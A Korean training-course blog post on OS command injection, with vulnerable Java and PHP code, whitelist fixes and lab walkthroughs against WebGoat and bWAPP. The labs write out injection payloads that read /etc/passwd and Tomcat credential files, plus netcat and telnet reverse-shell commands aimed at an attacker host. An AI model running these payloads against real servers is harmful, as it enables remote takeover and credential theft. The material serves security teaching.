SK shieldus Rookies/클라우드 기반 취약점 진단 및 대응 실무

[SK shieldus Rookies 16기] Command Injection(운영체제 명령어 삽입) (미완)

su. 2023. 12. 18. 18:50
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합보안 과정
클라우드 기반 취약점 진단 및 대응 실무 #06

 

 

Command Injection = 운영체제 명령어 삽입

애플리케이션에 운영체제 명령어(=쉘 명령어)를 실행하는 기능이 존재하는 경우, 
외부 입력값을 검증, 제한하지 않고 운영체제 명령어나 운영체제 명령어의 일부로 사용하는 경우 발생한다.

➞ 시스템 제어권를 탈취하여 해당 시스템을 공격자 마음대로 제어하게 된다.

 

 

외부 입력값을 검증하지 않고 사용

추가 명령어 실행에 사용되는 &, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용

 

외부 입력값을 제한하지 않고 사용

내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 미리 정의하고 정의된 범위 내에서 사용되도록 하지 않는 경우

➞ 화이트 리스트 방식으로 제한하지 않는 경우

 

   입력값 제한 방식

        1. 화이트 리스트 방식 = 허용 목록 : 정의된 목록 범위 내의 값만 사용하도록 제한

        ➞ 새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전

        2. 블랙 리스트 방식 = 제한 목록 : 정의된 목록의 값을 사용하지 않도록 제한

         ➞ 모집합의 규모가 크고, 변화가 심한 경우에 사용

 

[예시]

외부 입력값을 운영체제 명령어로 사용하는 경우

run.jsp

=========================================

String cmd = request.getParameter("cmd");

Runtime.getRuntime().exec(cmd);

 

개발자가 원했던 실행

⇒ run.jsp?cmd=ifconfig

   ➞  서버의 네트워크 설정 정보를 반환

 

공격자가 조작한 실행

⇒ run.jsp?cmd=cat /etc/passwd

   ➞  계정 정보 노출

⇒ run.jsp?cmd=ifconfig & cat /etc/passwd

   ➞  의도하지 않은 추가 명령어 실행으로 계정 정보 노출

 

 

외부 입력값을 운영체제 명령어의 일부로 사용하는 경우

(명령어의 파라미터 or 추가 명령어 삽입)

view.jsp

===============================================

String file = request.getParameter("file");

Runtime.getRuntime().exec("cat " + file);

 

개발자가 원했던 실행

⇒ view.jsp?file=/data/upload/myfile.txt

   ➞ cat 명령어의 일부(파라미터)로 사용되어 /data/upload/ 아래의 myfile.txt 내용 반환

 

공격자가 조작한 실행

⇒ view.jsp?file=/etc/passwd

   ➞  시스템 파일의 내용 반환

⇒ view.jsp?file=/data/dupload/myfile.txt & cat /etc/passwd

   ➞  추가 명령어 실행을 통해 시스템 파일 내용을 반환

 

 

방어 기법

1. 불필요한 운영체제 명령어 실행을 제거한다.

 -   운영체제 명령어 실행이 꼭 필요한지 여부를 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능으로 대체한다.

 -   운영체제 명령어 실행이 발생하지 않도록 설계한다.

 

2. 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한한다.

-   시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한한다.

 

3. 입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증하고 사용한다.

 

4. 외부에서 시스템 내부 처리를 유추할 수 없도록 코드화한다.

 

 

[실습 예제]

 

#1

[ kali ] http://victim:8080/openeg 접속

 

보안코딩테스트 - 명령어 인젝션 (4)

 

F12 개발자도구 HTML

  • 선택창에서 선택 후 실행 버튼을 클릭하면 data 파라미터의 값으로 type 또는 dir이 서버로 전달된다.
  • 출력되는 결과를 보면 명령 프롬프트에서 dir 명령을 실행한 것과 유사하다.

 

사용자 화면에서 선택한 값은 서버로 전달되어

command_test.do?data=dir

명령어 실행에 사용될 것으로 예상된다.

Runtime.exec("dir");

 

(실험1)

개발자 도구에서 HTML 편집 ⇒ <option value="dir"> ⇒ <option value="ipconfig"> 로 변경 후 실행

 

다른 명령어로 변경
<option value=" ipconfig "> 실행 결과

 

실행 결과, 네트워크 설정 정보가 출력된다.

따라서 사용자 화면에서 선택한 값은 서버 내부에서 검증, 제한 없이 운영체제 명령어 실행에 사용되고 있다.

= Command Injection 취약점 확인

 

 

(실험2)

추가 명령어 실행을 의미하는 &와 새로운 명령어를 함께 전달한다.

<option value="dir & whoami">

 

<option value="dir & whoami "> 실행 결과

 

소스 코드 확인 (TestController.java)

 

 


@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
              StringBuffer buffer = new StringBuffer();

              // 요청 파라미터 data의 값을 추출
              String data = request.getParameter("data");

              // 요청 파라미터의 값이 type인 경우

              파라미터 값을 "type 현재디렉터리\files\file1.txt"로 변경
              if (data != null && data.equals("type")) {
                            data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
              }
 
              Process process;
              String osName = System.getProperty("os.name");
              String[] cmd;
 
              if (osName.toLowerCase().startsWith("window")) {

                            // 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경
                            cmd = new String[] { "cmd.exe", "/c", data }; 
                            for (String s : cmd)
                                           System.out.print(s + " ");
              } else {
                            cmd = new String[] { "/bin/sh", data };
              }
              try {     // 요청 파라미터로 전달된 값을 운영체제 명령어로 사용

                            process = Runtime.getRuntime().exec(cmd); 
                            InputStream in = process.getInputStream();
                            Scanner s = new Scanner(in);
                            buffer.append("실행결과: <br/>");
                            while (s.hasNextLine() == true) {
                                           buffer.append(s.nextLine() + "<br/>");
                            }
              } catch (IOException e) {
                            buffer.append("실행오류발생");
                            e.printStackTrace();
              }
              return buffer.toString();
}


 

안전한 코드로 변경 (1)


//  해당 어플리케이션에서 사용할 명령어를 미리 정의

private final String[] allowedCommands = { "type", "dir" }; 

 

@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)

@ResponseBody

public String testCommandInjection(HttpServletRequest request, HttpSession session) {

              StringBuffer buffer = new StringBuffer();

              String data = request.getParameter("data");

             

              // 요청 파라미터의 값이 미리 정의한 값의 범위에 포함되는지 확인

              List<String> temp = new ArrayList(Arrays.asList(allowedCommands));

              if (!temp.contains(data)) {

                            return "잘못된 입력입니다.";

              }

             

              if (data != null && data.equals("type")) {

                            data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";

              }

 

              Process process;

              String osName = System.getProperty("os.name");

              String[] cmd;

 

              if (osName.toLowerCase().startsWith("window")) {

                            cmd = new String[] { "cmd.exe", "/c", data };

                            for (String s : cmd)

                                           System.out.print(s + " ");

              } else {

                            cmd = new String[] { "/bin/sh", data };

              }

              try {

                            process = Runtime.getRuntime().exec(cmd);

                            InputStream in = process.getInputStream();

                            Scanner s = new Scanner(in);

                            buffer.append("실행결과: <br/>");

                            while (s.hasNextLine() == true) {

                                           buffer.append(s.nextLine() + "<br/>");

                            }

              } catch (IOException e) {

                            buffer.append("실행오류발생");

                            e.printStackTrace();

              }

              return buffer.toString();

}


 

서버 재가동 후 명령어를 조작해서 전달해본다.

 

➞ 정상적인 입력에는 동작하지만, 파라미터를 조작하면 '잘못된 입력입니다.' 메시지가 출력된다.

 

 

안전한 코드로 변경 (2)  - 외부에서 전달되는 값이 시스템 내부에서 어떻게 사용되는지 모르도록 코드화

 

[취약 코드 확인]

test.jsp
서버 내부에서 사용하는 명령어가 직접 전달되도록 되어 있다.

 

[외부에서 내부 사용을 유추할 수 없도록 코드화]


<form action="command_test.do" id="form5">

<pre>

        (4) Command 인젝션  <br />

        <select name="data" id="data5">

              <option value="0">--- show File1.txt ---</option>

              <option value="1">--- show Dir ---</option>

        </select> 

        <input type="button" id="button5" value="실행">

</pre>

</form>


[전달받은 코드를 사용하도록 서버 로직 수정]

 

TestController.java


// 해당 어플리케이션에서 사용할 명령어를 미리 정의

private final String[] allowedCommands = { "type", "dir" }; 

 

@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)

@ResponseBody

public String testCommandInjection(HttpServletRequest request, HttpSession session) {

              StringBuffer buffer = new StringBuffer();

             

              // 사용자가 선택한 코드가 전달 

              // ==> 0 또는 1이 전달

              // ==> 미리 정의해 놓은 명령어를 참조하는 값(인덱스)로 사용

              String data = request.getParameter("data");

             

              // 사용자 화면에서 전달된 코드를 내부 처리에 사용할 명령어로 변환

              // 화이트 리스트 방식으로 입력값을 제한함과 동시에 외부에서 내부 처리를 알 수 없도록 하는 것도 가능

              try {

                            data = allowedCommands[Integer.parseInt(data)];

              } catch (Exception e) {

                            // #1 사용자 화면에서 0 또는 1이 아닌 숫자가 전달되는 경우 (예: 100)

                            //    배열 값의 범위를 벗어나기 때문에 오류가 발생

                            // #2 사용자 화면에서 0 또는 1이 아닌 문자가 전달되는 경우 (예: ipconfig)

                            //    숫자로 변환하는 과정에서 오류가 발생 

                            System.out.println(e.getMessage());

                            return "잘못된 입력입니다.";

              }

                                          

              if (data != null && data.equals("type")) {

                            data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";

              }

 

              Process process;

              String osName = System.getProperty("os.name");

              String[] cmd;

 

              if (osName.toLowerCase().startsWith("window")) {

                            cmd = new String[] { "cmd.exe", "/c", data };

                            for (String s : cmd)

                                          System.out.print(s + " ");

              } else {

                            cmd = new String[] { "/bin/sh", data };

              }

              try {

                            process = Runtime.getRuntime().exec(cmd);

                            InputStream in = process.getInputStream();

                            Scanner s = new Scanner(in);

                            buffer.append("실행결과: <br/>");

                            while (s.hasNextLine() == true) {

                                           buffer.append(s.nextLine() + "<br/>");

                            }

              } catch (IOException e) {

                            buffer.append("실행오류발생");

                            e.printStackTrace();

              }

              return buffer.toString();

}


입력값을 조작해서 요청을 전달해본다.

1)

<option value="100"> 으로 조작

2)

<option value="ipconfig"> 로 조작

➞ 발견한 취약점을 모두 해결하였다.

(화이트 리스트 방식으로 입력값을 제한 & 외부에서 내부 처리를 알 수 없도록 코드화)

 

 

#2

[ WinXP ] http://victim:8080/WebGoat/attack 접속

 

Injection Flaws - Command Injection

 

사용자 화면의 입력 = 도움말: BasicAuthentication.help

 

서버 내부의 처리

cmd.exe /c type "C:\FullstackLAB\workspace\서버의경로\WebGoat\lesson_plans\English\BasicAuthentication.html"

(1) 운영체제 명령어 실행

(2) 운영체제 명령어(type)의 일부로 외부 입력값이 사용되고 있음

(3) 서버 내부에 어떤 형태로 저장되어 있는지 모르도록 처리

 

 

만약 외부 입력값을 검증, 제한하지 않고 명령어 실행에 그대로 사용한다면 추가 명령어 실행이 가능할 것이다.

 

(실험)

C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일의 내용이 출력되도록 입력값을 변조

cmd.exe /c type "C:\FullstackLAB\workspace\서버의경로\WebGoat\lesson_plans\English\BasicAuthentication.html" & type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml"

“ : 원래 명령어의 실행을 종료
&: 이어서 실행

 

 

Burp Suite 실행 ➞ Intercept on ➞ 사용자 입력 선택/실행 

 

 

 

& 기호를 URL 인코딩한 %26을 포함하여 추가 명령어를 삽입, 전달한다.

 

추가 명령어 삽입
명령어 삽입 결과

 

개발자 도구를 사용해서 입력값을 변조해 전달해도 동일하게 처리되는 것을 확인할 수 있다.

 

 

 

#3

[ BeeBox ] gedit을 실행한 후 /var/www/bWAPP/commandi.php 파일 열기

bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php

(PW: bug)

고정폭으로 보기좋게 출력되도록 수정

 

[ kali ] http://beebox/bWAPP 접속

 

입력한 도메인 주소에 대한 정보를 조회해서 출력해주는 서비스

 

[ beebox ] nslookup 명령어를 실행

bee@bee-box:~$ nslookup www.nsa.gov

// 웹 페이지를 통해서 요청한 결과와 동일한 내용이 출력되는 것을 확인

➞ 사용자 화면에서 전달한 값이 서버 내부에서 운영체제 명령어 실행에 사용되는 것을 추측할 수 있음

Server:                  192.168.60.2

Address: 192.168.60.2#53                             

                                                                                   

Non-authoritative answer:

www.nsa.gov          canonical name = nsa.gov.edgekey.net.

nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net.

Name:     e16248.dscb.akamaiedge.net

Address: 104.76.91.166

 

 

입력값이 서버 내부로 전달되어 사용되기까지 검증, 제한하지 않는다면 추가적인 명령어를 전달하여 실행하고 결과를 확인하는 것이 가능할 것이다.

 

실험1)  웹 페이지에서 실행

(➞ 웹 페이지를 통해 여러 경우를 시도한 결과. 되는 것과 안되는 것이 있어 실행되는 것을 찾기 힘들고, 계속해서 실행 버튼을 누르며 수행이 번거롭다.)

 

DNS Lookup: www.nsa.gov | cat /etc/passwd

 

nslookup www.nsa.gov | cat /etc/passwd  ⇐ 접근할 수 없는 경로의 시스템 파일 내용만 출력된다.

 

네트워크 설정 시
인바운드(밖>안) 포트는 특정 서비스 포트만 허용하는 반면에
아웃바운드(안>밖)는 일반적으로 대부분의 포트를 허용한다.

 

 

실험2)  nc(netcat)을 이용한 리버스 커넥션

웹 페이지에 계속해서 실행버튼을 눌러가며 찾지 않아도
공격 서버를 실행한 명령 프롬프트에서 명령어만 입력하며 수월하게 확인 가능하다.

 

#1  [ Kali ] 에 서버를 실행

┌──(kalikali)-[~]

└─$ nc -l -p 8282              ⇐ 8282로 무언가가 연결되길 기다린다.

 

 

#2  운영체제 명령어 삽입 취약점을 가지고 있는 웹 페이지에 아래와 같은 명령어를 입력, 전달한다
http://www.nsa.gov ; nc 공격자주소 포트번호 -e /bin/bash
                                        주소와 포트번호로 연결           성공적으로 연결되었을 때 /bin/bash를 실행

http://beebox/bWAPP - OS Command Injection

 

 

#3  취약한 서버로 명령어를 전달 beebox 서버에서 명령어가 실행되어 결과가 출력 ⇒ beebox 사용자는 알 수 없음

┌──(kalikali)-[~]

└─$ nc -l -p 8282

whoami

www-data                                                                   ⇐ beebox 서버의 사용자

pwd

/var/www/bWAPP                                                       ⇐ beebox 서비스 디렉터리 (웹 루트 디렉터리) 

ls -al

total 1568                                                                    웹 루트 디렉터리 내용(디렉터리와 파일)

drwxrwxr-x 13 root www-data 12288 Dec 18 05:59 .

drwxrwxr-x  7 root www-data  4096 Nov  2  2014 ..

-rw-rw-r--  1 root www-data   112 Nov  2  2014 666

drwxrwxr-x  2 root www-data  4096 Nov  2  2014 admin

-rw-rw-r--  1 root www-data  2093 Nov  2  2014 aim.php

                               ...(생략)...

-rw-rw-r--  1 root www-data  5229 Nov  2  2014 xss_user_agent.php
-rw-rw-r--  1 root www-data  5318 Nov  2  2014 xxe-1.php
-rw-rw-r--  1 root www-data  2530 Nov  2  2014 xxe-2.php
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:96:94:ae brd ff:ff:ff:ff:ff:ff 
    inet 192.168.60.130/24 brd 192.168.60.255 scope global eth0            ⇐ beebox 서버의 IP 정보
    inet6 fe80::20c:29ff:fe96:94ae/64 scope link 
       valid_lft forever preferred_lft forever
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash                                                                   ⇐ beebox 서버의 사용자 정보

daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

                        :

bee:x:1000:1000:bee,,,:/home/bee:/bin/bash
                        :

ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false
ntp:x:121:131::/home/ntp:/bin/false

 

[ nc(netcat)을 이용한 리버스 커넥션 ]
                                       (일반적으로 OS에 nc는 공격 위험이 있으므로 설치하지 않는 것이 관례이다.)

위와 같은 공격이 이루어지기 위해서는
1.  웹 어플리케이션에 OS Command Injection 취약점이 존재해야 한다.
2.  해당 웹 서버(beebox)에 nc 프로그램이 설치되어 있어야 한다.

➞  nc 프로그램이 설치되지 않은 웹 서버는 어떻게 공격을 할까?
➞  서버 관리 목적으로 많이 사용하는 프로그램을 이용해서 공격을 시도한다.
➞  telnet

nc(netcat)을 이용한 리버스 커넥션

 

 

실험3)  Telnet을 이용한 리버스 커넥션

텔넷을 이용한 리버스 커넥션

↳ 그림에 shell이 하나이나, /bin/bash는 따로 존재한다

 

#1  [ Kali ] 에 두 개의 터미널을 열어서 서비스를 실행

┌──(kalikali)-[~]

└─$ nc -l -p 8282

 

┌──(kalikali)-[~]

└─$ nc -l -p 9292

 

#2 [ Kali ] OS Command Injection 취약점을 가진 페이지에 아래 명령어를 전달 실행

(이전 실습 이후 페이지 새로고침 하여 다시 진입)

www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash | telnet attacker 9292

http://beebox/bWAPP - OS Command Injection

 

위 과정을 서술할 수 있어야 한다.
일반적인 애플리케이션에서는 운영체제 명령어가 실행될 일이 드물다 (DB 등과 인터렉션함.)
잘못 만들어졌거나 하는 경우 발생

 

 

 

[ beebox ] 소스 코드 확인

bee@bee-box:~$ sudo gedit /var/www/bWAPP/commandi.php


function commandi($data)

{

    switch($_COOKIE["security_level"])

    {

 

        case "0" :

            $data = no_check($data);

            break;

 

        case "1" :

            $data = commandi_check_1($data);

            break;

 

        case "2" :

            $data = commandi_check_2($data);

            break;

 

        default :

            $data = no_check($data);

            break;

    }

 

    return $data;

}

              ... (생략) ...

if(isset($_POST["target"]))

    {

        $target = $_POST["target"];                                                            사용자가 입력한 값.

                                                                                                                           정상적인 경우 도메인 주소가 전달

        if($target == "")

        {

            echo "<font color=\"red\">Enter a domain name...</font>";

        }

        else

        {

            echo "<p align=\"left\"><pre>" . shell_exec("nslookup  " . commandi($target)) . "</pre></p>";

        }

    }

    ?>


shell_exec("nslookup  " . commandi($target))

(1)                                       (2) 설정된 보안 등급에 맞춰서 입력값을 처리한 후 nslookup 명령어의 매개변수로 사용

https://www.php.net/manual/en/function.shell-exec.php

  쉘에서 nslookup 명령어를 실행하고 실행 결과를 반환

 

 

 

 

function_external.php 파일 내용 분석

bee@bee-box:~$ sudo gedit /var/www/bWAPP/function_external.php


function commandi_check_1($data)

{

    $input = str_replace("&", "", $data);                         ⇐ 추가 명령어 실행에 사용되는 & ; 기호를 제거

    $input = str_replace(";", "", $input);

 

    return $input;

}

 

function commandi_check_2($data)

{

    return escapeshellcmd($data);   https://www.php.net/manual/en/function.escapeshellcmd.php

}                                                                                                     Escape shell metacharacters [가장 안전]

 

function commandi_check_3($data)

{

    $input = str_replace("&", "", $data);                         ⇐ 추가 명령어 실행에 사용되는 &, ;, | 기호를 제거

    $input = str_replace(";", "", $input);

    $input = str_replace("|", "", $input);

 

    return $input;

}